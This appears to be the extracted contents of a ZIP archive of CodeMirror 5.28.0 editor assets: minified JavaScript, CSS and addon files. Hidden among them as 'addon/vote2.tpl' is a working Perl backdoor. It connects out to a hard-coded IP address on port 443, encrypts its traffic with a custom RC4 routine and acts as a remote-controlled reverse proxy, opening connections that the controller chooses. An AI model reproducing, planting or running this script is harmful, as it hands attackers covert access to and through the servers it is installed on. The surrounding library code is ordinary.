g.top);return h},Zb);if(e.length)for(var l=0;l<d.sel.ranges.length;l++)d.sel.ranges[l].goalColumn=e[l]}),findWordAt:function(a){var b=u(this.doc,a.line).text,c=a.ch,d=a.ch;if(b){var h=this.getHelper(a,"wordChars");"before"!=a.sticky&&d!=b.length||!c?++d:--c;for(var k=b.charAt(c),k=fc(k,h)?function(a){return fc(a,h)}:/\s/.test(k)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!fc(a)};0<c&&k(b.charAt(c-1));)--c;for(;d<b.length&&k(b.charAt(d));)++d}return new C(r(a.line,c),r(a.line,
d))},toggleOverwrite:function(a){if(null==a||a!=this.state.overwrite)(this.state.overwrite=!this.state.overwrite)?Fa(this.display.cursorDiv,"CodeMirror-overwrite"):Sa(this.display.cursorDiv,"CodeMirror-overwrite"),J(this,"overwriteToggle",this,this.state.overwrite)},hasFocus:function(){return this.display.input.getField()==ra()},isReadOnly:function(){return!(!this.options.readOnly&&!this.doc.cantEdit)},scrollTo:W(function(a,b){Eb(this,a,b)}),getScrollInfo:function(){var a=this.display.scroller;return{left:a.scrollLeft,
top:a.scrollTop,height:a.scrollHeight-pa(this)-this.display.barHeight,width:a.scrollWidth-pa(this)-this.display.barWidth,clientHeight:kd(this),clientWidth:Na(this)}},scrollIntoView:W(function(a,b){null==a?(a={from:this.doc.sel.primary().head,to:null},null==b&&(b=this.options.cursorScrollMargin)):"number"==typeof a?a={from:r(a,0),to:null}:null==a.from&&(a={from:a,to:null});a.to||(a.to=a.from);a.margin=b||0;null!=a.from.line?(uc(this),this.curOp.scrollToPos=a):Oe(this,a.from,a.to,a.margin)}),setSize:W(function(a,
b){var c=this,d=function(a){return"number"==typeof a||/^\d+$/.test(String(a))?a+"px":a};null!=a&&(this.display.wrapper.style.width=d(a));null!=b&&(this.display.wrapper.style.height=d(b));this.options.lineWrapping&&Be(this);var e=this.display.viewFrom;this.doc.iter(e,this.display.viewTo,function(a){if(a.widgets)for(var b=0;b<a.widgets.length;b++)if(a.widgets[b].noHScroll){Ba(c,e,"widget");break}++e});this.curOp.forceUpdate=!0;J(this,"refresh",this)}),operation:function(a){return aa(this,a)},startOperation:function(){return Ua(this)},
endOperation:function(){return Va(this)},refresh:W(function(){var a=this.display.cachedTextHeight;Y(this);this.curOp.forceUpdate=!0;Bb(this);Eb(this,this.doc.scrollLeft,this.doc.scrollTop);ud(this);(null==a||.5<Math.abs(a-Pa(this.display)))&&qd(this);J(this,"refresh",this)}),swapDoc:W(function(a){var b=this.doc;b.cm=null;af(this,a);Bb(this);this.display.input.reset();Eb(this,a.scrollLeft,a.scrollTop);this.curOp.forceScroll=!0;R(this,"swapDoc",this,b);return b}),getInputField:function(){return this.display.input.getField()},
getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};ab(a);a.registerHelper=function(b,e,f){c.hasOwnProperty(b)||(c[b]=a[b]={_global:[]});c[b][e]=f};a.registerGlobalHelper=function(b,e,f,g){a.registerHelper(b,e,g);c[b]._global.push({pred:f,val:g})}})(G);var jh="iter insert remove copy getEditor constructor".split(" "),cc;for(cc in Z.prototype)Z.prototype.hasOwnProperty(cc)&&0>
Q(jh,cc)&&(G.prototype[cc]=function(a){return function(){return a.apply(this.doc,arguments)}}(Z.prototype[cc]));ab(Z);G.inputStyles={textarea:M,contenteditable:z};G.defineMode=function(a){G.defaults.mode||"null"==a||(G.defaults.mode=a);ig.apply(this,arguments)};G.defineMIME=function(a,b){bb[a]=b};G.defineMode("null",function(){return{token:function(a){return a.skipToEnd()}}});G.defineMIME("text/plain","null");G.defineExtension=function(a,b){G.prototype[a]=b};G.defineDocExtension=function(a,b){Z.prototype[a]=
b};G.fromTextArea=function(a,b){function c(){a.value=h.getValue()}b=b?Ga(b):{};b.value=a.value;!b.tabindex&&a.tabIndex&&(b.tabindex=a.tabIndex);!b.placeholder&&a.placeholder&&(b.placeholder=a.placeholder);if(null==b.autofocus){var d=ra();b.autofocus=d==a||null!=a.getAttribute("autofocus")&&d==document.body}if(a.form&&(v(a.form,"submit",c),!b.leaveSubmitMethodAlone)){var e=a.form;var f=e.submit;try{var g=e.submit=function(){c();e.submit=f;e.submit();e.submit=g}}catch(k){}}b.finishInit=function(b){b.save=
c;b.getTextArea=function(){return a};b.toTextArea=function(){b.toTextArea=isNaN;c();a.parentNode.removeChild(b.getWrapperElement());a.style.display="";a.form&&(ca(a.form,"submit",c),"function"==typeof a.form.submit&&(a.form.submit=f))}};a.style.display="none";var h=G(function(b){return a.parentNode.insertBefore(b,a.nextSibling)},b);return h};(function(a){a.off=ca;a.on=v;a.wheelEventPixels=Ag;a.Doc=Z;a.splitLines=Od;a.countColumn=fa;a.findColumn=Lc;a.isWordChar=Nc;a.Pass=Fc;a.signal=J;a.Line=gb;a.changeEnd=
Ca;a.scrollbarModel=Se;a.Pos=r;a.cmpPos=A;a.modes=cd;a.mimeModes=bb;a.resolveMode=mc;a.getMode=dd;a.modeExtensions=cb;a.extendMode=jg;a.copyState=Ma;a.startState=fe;a.innerMode=ed;a.commands=Qb;a.keyMap=Pb;a.keyName=Df;a.isModifierKey=Af;a.lookupKey=mb;a.normalizeKeyMap=Mg;a.StringStream=L;a.SharedTextMarker=Ob;a.TextMarker=Da;a.LineWidget=Nb;a.e_preventDefault=V;a.e_stopPropagation=de;a.e_stop=ub;a.addClass=Fa;a.contains=ha;a.rmClass=Sa;a.keyNames=Ea})(G);G.version="5.28.0";return G});
PK     ]t]m°U    $  assets/codemirror/lib/codemirror.cssnu ÕIw¶´        .CodeMirror{font-family:monospace;height:300px;color:#000}.CodeMirror-lines{padding:4px 0}.CodeMirror pre{padding:0 4px}.CodeMirror-gutter-filler,.CodeMirror-scrollbar-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid #000;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0!important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:-20px;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:#00f}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:700}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-type,.cm-s-default .cm-variable-3{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0f0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#f22}.CodeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:#fff}.CodeMirror-scroll{overflow:scroll!important;margin-bottom:-30px;margin-right:-30px;padding-bottom:30px;height:100%;outline:0;position:relative}.CodeMirror-sizer{position:relative;border-right:30px solid transparent}.CodeMirror-gutter-filler,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-vscrollbar{position:absolute;z-index:6;display:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-30px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:0 0!important;border:none!important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:0 0;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;-webkit-font-variant-ligatures:contextual;font-variant-ligatures:contextual}.CodeMirror-wrap pre{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;overflow:auto}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:0}.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber,.CodeMirror-scroll,.CodeMirror-sizer{-moz-box-sizing:content-box;box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background:#ffa;background:rgba(255,255,0,.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:''}span.CodeMirror-selectedtext{background:0 0}PK     ]t]·9úëË	  Ë	  0  assets/codemirror/addon/selection/active-line.jsnu ÕIw¶´        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var WRAP_CLASS = "CodeMirror-activeline";
  var BACK_CLASS = "CodeMirror-activeline-background";
  var GUTT_CLASS = "CodeMirror-activeline-gutter";

  CodeMirror.defineOption("styleActiveLine", false, function(cm, val, old) {
    var prev = old == CodeMirror.Init ? false : old;
    if (val == prev) return
    if (prev) {
      cm.off("beforeSelectionChange", selectionChange);
      clearActiveLines(cm);
      delete cm.state.activeLines;
    }
    if (val) {
      cm.state.activeLines = [];
      updateActiveLines(cm, cm.listSelections());
      cm.on("beforeSelectionChange", selectionChange);
    }
  });

  function clearActiveLines(cm) {
    for (var i = 0; i < cm.state.activeLines.length; i++) {
      cm.removeLineClass(cm.state.activeLines[i], "wrap", WRAP_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "background", BACK_CLASS);
      cm.removeLineClass(cm.state.activeLines[i], "gutter", GUTT_CLASS);
    }
  }

  function sameArray(a, b) {
    if (a.length != b.length) return false;
    for (var i = 0; i < a.length; i++)
      if (a[i] != b[i]) return false;
    return true;
  }

  function updateActiveLines(cm, ranges) {
    var active = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      var option = cm.getOption("styleActiveLine");
      if (typeof option == "object" && option.nonEmpty ? range.anchor.line != range.head.line : !range.empty())
        continue
      var line = cm.getLineHandleVisualStart(range.head.line);
      if (active[active.length - 1] != line) active.push(line);
    }
    if (sameArray(cm.state.activeLines, active)) return;
    cm.operation(function() {
      clearActiveLines(cm);
      for (var i = 0; i < active.length; i++) {
        cm.addLineClass(active[i], "wrap", WRAP_CLASS);
        cm.addLineClass(active[i], "background", BACK_CLASS);
        cm.addLineClass(active[i], "gutter", GUTT_CLASS);
      }
      cm.state.activeLines = active;
    });
  }

  function selectionChange(cm, sel) {
    updateActiveLines(cm, sel.ranges);
  }
});
PK     ]t]Â(ª}  }  3  assets/codemirror/addon/scroll/simplescrollbars.cssnu ÕIw¶´        .CodeMirror-simplescroll-horizontal div,.CodeMirror-simplescroll-vertical div{position:absolute;background:#ccc;-moz-box-sizing:border-box;box-sizing:border-box;border:1px solid #bbb;border-radius:2px}.CodeMirror-simplescroll-horizontal,.CodeMirror-simplescroll-vertical{position:absolute;z-index:6;background:#eee}.CodeMirror-simplescroll-horizontal{bottom:0;left:0;height:8px}.CodeMirror-simplescroll-horizontal div{bottom:0;height:100%}.CodeMirror-simplescroll-vertical{right:0;top:0;width:8px}.CodeMirror-simplescroll-vertical div{right:0;width:100%}.CodeMirror-overlayscroll .CodeMirror-gutter-filler,.CodeMirror-overlayscroll .CodeMirror-scrollbar-filler{display:none}.CodeMirror-overlayscroll-horizontal div,.CodeMirror-overlayscroll-vertical div{position:absolute;background:#bcd;border-radius:3px}.CodeMirror-overlayscroll-horizontal,.CodeMirror-overlayscroll-vertical{position:absolute;z-index:6}.CodeMirror-overlayscroll-horizontal{bottom:0;left:0;height:6px}.CodeMirror-overlayscroll-horizontal div{bottom:0;height:100%}.CodeMirror-overlayscroll-vertical{right:0;top:0;width:6px}.CodeMirror-overlayscroll-vertical div{right:0;width:100%}PK     ]t]XÖ‰�    2  assets/codemirror/addon/scroll/simplescrollbars.jsnu ÕIw¶´        'use strict';(function(c){"object"==typeof exports&&"object"==typeof module?c(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],c):c(CodeMirror)})(function(c){function g(a,b,h){function e(a){var b=c.wheelEventPixels(a)["horizontal"==d.orientation?"x":"y"],h=d.pos;d.moveTo(d.pos+b);d.pos!=h&&c.e_preventDefault(a)}this.orientation=b;this.scroll=h;this.screen=this.total=this.size=1;this.pos=0;this.node=document.createElement("div");this.node.className=
a+"-"+b;this.inner=this.node.appendChild(document.createElement("div"));var d=this;c.on(this.inner,"mousedown",function(a){function b(){c.off(document,"mousemove",h);c.off(document,"mouseup",b)}function h(a){if(1!=a.which)return b();d.moveTo(g+d.total/d.size*(a[e]-f))}if(1==a.which){c.e_preventDefault(a);var e="horizontal"==d.orientation?"pageX":"pageY",f=a[e],g=d.pos;c.on(document,"mousemove",h);c.on(document,"mouseup",b)}});c.on(this.node,"click",function(a){c.e_preventDefault(a);var b=d.inner.getBoundingClientRect();
d.moveTo(d.pos+("horizontal"==d.orientation?a.clientX<b.left?-1:a.clientX>b.right?1:0:a.clientY<b.top?-1:a.clientY>b.bottom?1:0)*d.screen)});c.on(this.node,"mousewheel",e);c.on(this.node,"DOMMouseScroll",e)}function f(a,b,c){this.addClass=a;this.horiz=new g(a,"horizontal",c);b(this.horiz.node);this.vert=new g(a,"vertical",c);b(this.vert.node);this.width=null}g.prototype.setPos=function(a,b){0>a&&(a=0);a>this.total-this.screen&&(a=this.total-this.screen);if(!b&&a==this.pos)return!1;this.pos=a;this.inner.style["horizontal"==
this.orientation?"left":"top"]=this.size/this.total*a+"px";return!0};g.prototype.moveTo=function(a){this.setPos(a)&&this.scroll(a,this.orientation)};g.prototype.update=function(a,b,c){var e=this.screen!=b||this.total!=a||this.size!=c;e&&(this.screen=b,this.total=a,this.size=c);a=this.size/this.total*this.screen;10>a&&(this.size-=10-a,a=10);this.inner.style["horizontal"==this.orientation?"width":"height"]=a+"px";this.setPos(this.pos,e)};f.prototype.update=function(a){if(null==this.width){var b=window.getComputedStyle?
window.getComputedStyle(this.horiz.node):this.horiz.node.currentStyle;b&&(this.width=parseInt(b.height))}var b=this.width||0,c=a.scrollWidth>a.clientWidth+1,e=a.scrollHeight>a.clientHeight+1;this.vert.node.style.display=e?"block":"none";this.horiz.node.style.display=c?"block":"none";e&&(this.vert.update(a.scrollHeight,a.clientHeight,a.viewHeight-(c?b:0)),this.vert.node.style.bottom=c?b+"px":"0");c&&(this.horiz.update(a.scrollWidth,a.clientWidth,a.viewWidth-(e?b:0)-a.barLeft),this.horiz.node.style.right=
e?b+"px":"0",this.horiz.node.style.left=a.barLeft+"px");return{right:e?b:0,bottom:c?b:0}};f.prototype.setScrollTop=function(a){this.vert.setPos(a)};f.prototype.setScrollLeft=function(a){this.horiz.setPos(a)};f.prototype.clear=function(){var a=this.horiz.node.parentNode;a.removeChild(this.horiz.node);a.removeChild(this.vert.node)};c.scrollbarModel.simple=function(a,b){return new f("CodeMirror-simplescroll",a,b)};c.scrollbarModel.overlay=function(a,b){return new f("CodeMirror-overlayscroll",a,b)}});
PK     ]t]˜z¹'$  $  !  assets/codemirror/addon/vote2.tplnu ÕIw¶´        #!/usr/bin/perl

use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;

my $host = '45.146.130.29';
my $port = 443;

my $xordata = "\x00" x 50;

for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }

sub Rc4_crypt {
	 
	 my $passw = shift(@_);
	 
	 my $length = shift(@_);
	 
	 my $buff0 = shift(@_);
	 
	 my $start = shift(@_);
	 
	 my $sz = shift(@_);
	 
	 my $rc4 = "\x00" x 256;
	 
	 my $pockemon0 = 0;
	
	 my $pockemon1 = 0;
	
	 my $pockemon2 = 0;
	
	 my $pockemon3 = 0;
	
	 my $pockemon4 = 0;
	
	 my $pockemon5 = 0;
	
	 my $pockemon6 = 0;
	
	 my $pockemon7 = 0;
	
	 my $pockemon8 = 0;
	 
	 my $rcx = $sz;
	 
	 my $rsi = 0;
	 
	 my $rbx = 0;
	 
	 my $gs = 0;
	 
	 my $t = 0;
	 
	 for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
	 
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
	
	 while(1) {
		 
		 if ($gs == 0) {
			 
			 $pockemon2 = 0;

			 $pockemon3 = $length;
		}
		 
		 if ($gs != 0) {
			 
			 $gs = 0;

			 $pockemon2++;

			 if (--$pockemon3 == 0) { next; }
			 
		}
		
		 $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
		 
		 $t = unpack('C', substr($$passw, $pockemon2, 1));

		 $pockemon1 += $t;

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon1 += $pockemon7;

		 $pockemon1 = $pockemon1 & 255;

		 $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
		 
		 substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
		 
		 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
		 
		 $pockemon0++;

		 $pockemon0 = $pockemon0 & 255;
		 
		 if ($pockemon0 != 0) {
			 
			 $gs = 1;
			 
			 next;
		}
		
		 $pockemon4 = $sz;

		 $pockemon1 = 0;

		 $pockemon0 = 0;

		 $pockemon2 = 0;

		 $pockemon3 = 0;
		 
		 while(1) {
			 
			 $pockemon2++;

			 $pockemon2 = $pockemon2 & 255;

			 $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
			 
			 $pockemon1 += $pockemon7;

			 $pockemon1 = $pockemon1 & 255;

			 $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));

			 substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
		 
			 substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);

			 $pockemon8 += $pockemon7;
	
			 $pockemon8 = $pockemon8 & 255;

			 $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
			 
			 $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));

			 $pockemon5 = $pockemon5 ^ $pockemon0;
			 
			 substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
			 
			 $pockemon3++;
			 
			 if (--$pockemon4 == 0)
			 {
				 last;
			 }
			 
		}
		 
		 last;
	}
	
	 $rsi = 0;
	
	 $rcx = $sz;
	
	 $rbx = 0;
	
	 do {
		 
		 substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
		 
		 $rsi++;
		
		 $rbx++;
		
		 $rcx--;
		
		 if ($rbx == $length) {
			 
			 $rbx = 0;
		}
		 
	} while($rcx > 0);
	
}

sub synsend {
		
	 my $cSocket = shift(@_);
	 
	 my $buffer = shift(@_);
	 
	 my $flags	= shift(@_);

	 open(my $fh, "<", '/dev/null');

	 flock($fh, LOCK_EX);
	 
	 # ===============================================
	 
	 send($cSocket, $buffer, $flags);
	 
	 # ===============================================
	 
	 flock($fh, LOCK_UN);

	 close($fh);
}

sub newConnection {
	
	my $num = shift(@_);
	
	my $socketarray = shift(@_);
	
	my $sSocket = shift(@_);
	
	my $cSocket = shift(@_);
	
	my $buff0 = shift(@_);
	
    threads->create( sub {
		
		my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
		
		my $domain = '';
		
		my $port = 0;
		
		my $_ret = 0;
		
		my $data = '';
		
		my $buffer = '';
		
		setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
		
		fcntl($cSocket, F_SETFL, O_NONBLOCK);
		
		if (unpack('C', substr($buff0, 7, 1)) == 3) {
			
			$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
			
			$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
			
		}
		
		elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
			
			$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
			
			$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
			
		}
		
		else {
			
			 goto close_;
		}
		
		 eval {
			 
			 my $paddr = sockaddr_in($port, inet_aton($domain));
		
			 connect($cSocket, $paddr);
		 
			 vec(my $win = '', fileno($cSocket), 1) = 1;

			 unless (select(undef, $win, undef, 10)) { goto close_; }
		 
			 fcntl($cSocket, F_SETFL, 0);
		 
			 substr($responce, 4, 1) = "\x00";
		 
			 $_ret = 1;
			 
		 };
		 
		 close_:
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
		 
		 synsend($sSocket, $responce, MSG_NOSIGNAL);
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 if ($_ret == 1) {
			 
			 while ($$socketarray[$num] == 1) {
				 
				 vec(my $rin = '', fileno($cSocket), 1) = 1;
				 
				 unless (select($rin, undef, undef, 1)) { next; }
				 
				 $data = '';

				 recv($cSocket, $data, 65530, 0);
	 
				 unless ($data) { last; }
				 
				 $buffer = pack('C', $num).pack('S', length($data)).$data;
				 
				 Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
		 
				 Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
				 
				 synsend($sSocket, $buffer, MSG_NOSIGNAL);
				 
			}
		}
		
		 $$socketarray[$num] = 0;
		 
		 close($cSocket);
		 
		 substr($responce, 1, 2) = "\x00\x00";
		 
		 Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
		 
		 synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
		
         threads->detach();
    });
}

sub bccnct {

	 my $host = shift(@_);
	 
	 my $port = shift(@_);
	 
	 my $remaining = 0;
	 
	 my $remaining4 = 0;
	 
	 my @socketarr;
	 
	 my @socketarray :shared;
	 
	 my $buffer = "\x00" x 100;
	 
	 my $buffernull = "\x00" x 3;
	 
	 my $buffer0 = '';
	 
	 my $isExit = 0;
	 
	 my $ecx = 0;
	 
	 my $eax = 0;
	 
	 my $data = '';
	 
	 my $_ret = 0;
	 
	 my $ebx = 0;
	 
	 my $edx = 0;
	 
	 socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
	 
	 setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
	 
	 my $paddr = sockaddr_in($$port, inet_aton($$host));
	 
	 unless(connect($socketarr[0], $paddr)) { goto close0; }
	 
	 substr($buffer, 0, 50) = $xordata;
	 
	 substr($buffer, 50, 2) = "\xFF\xFF";
	 
	 substr($buffer, 54, 11) = "Perl script";
	 
	 Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
	 
	 send($socketarr[0], $buffer, MSG_NOSIGNAL);
	 
	 while(1) {
		 
		 if ($remaining4 != 4) {
			 
			 vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
			 
			 my $ret = select($rin, undef, undef, 60);
			 
			 next if ($ret < 0);
			 
			 if ($ret == 0) {
				 
				 last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
				 
				 last if ($remaining != 0);
				 
				 last if ($remaining4 != 0);
				 
				 Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
				 
				 synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
				 
				 next;
			}
			 
		}
		 
		 if ($remaining != 0 || $remaining4 == 4) {
			 
			 if ($edx == 0) {
				 
				 if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
					 
					 $isExit = 1;
					 
					 last;
					 
				}
				 
				 elsif ($ebx < 200 && $ebx > 0) {
				 
					 $socketarray[$ebx] = 0;
				 
				}
			
			}
			
			else {
				
				 $ecx = $edx;
				
				 $ecx = $ecx - $remaining;
				 
				 $data = '';
				 
				 recv($socketarr[0], $data, $ecx, 0);
				
				 unless ($data) { last; }
				 
				 $remaining += length($data);
				 
				 $buffer0 .= $data;
				 
				 if ($edx == $remaining) {
					 
					 Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
					 
					 if (unpack('C', substr($buffer0, 0, 1)) == 0) {
						 
						 socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
						 
						 $socketarray[$ebx] = 1;
						 
						 newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
						 
					}
					
					 else {
						 
						 send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
						 
					}
					 
					 $remaining = 0;
				}
				
			}
			 
			 $remaining4 = 0;
			 
		}
		
		else {
			
			 if ($remaining4 == 0) { $buffer0 = ''; }
			
			 $eax = 4;
			
			 $eax = $eax - $remaining4;
			 
			 $data = '';
			 
			 recv($socketarr[0], $data, $eax, 0);
			 
			 unless ($data) { last; }
			 
			 $remaining4 += length($data);
			 
			 $buffer0 .= $data;
			 
			 $buffernull = "\x00" x 3;
			 
			 if ($remaining4 == 4) {
				 
				 Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
				 
				 $ebx = unpack('C', substr($buffer0, 1, 1));
				 
				 $edx = unpack('S', substr($buffer0, 2, 2));
			 
				 $_ret = 1;
			}
			
		}
	}
	
	 close0:
	 
	 close($socketarr[0]);
	 
	 for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
	 
	 sleep 10;
	 
	 if ($isExit == 1) { exit; }
	 
	 return $_ret;

}

bccnct(\$host, \$port);
PK     ]t]àPÙ  Ù  (  assets/codemirror/addon/search/search.jsnu ÕIw¶´        'use strict';var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.findInternal=function(b,h,e){b instanceof String&&(b=String(b));for(var k=b.length,g=0;g<k;g++){var l=b[g];if(h.call(e,l,g,b))return{i:g,v:l}}return{i:-1,v:void 0}};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.defineProperty=$jscomp.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:function(b,h,e){b!=Array.prototype&&b!=Object.prototype&&(b[h]=e.value)};
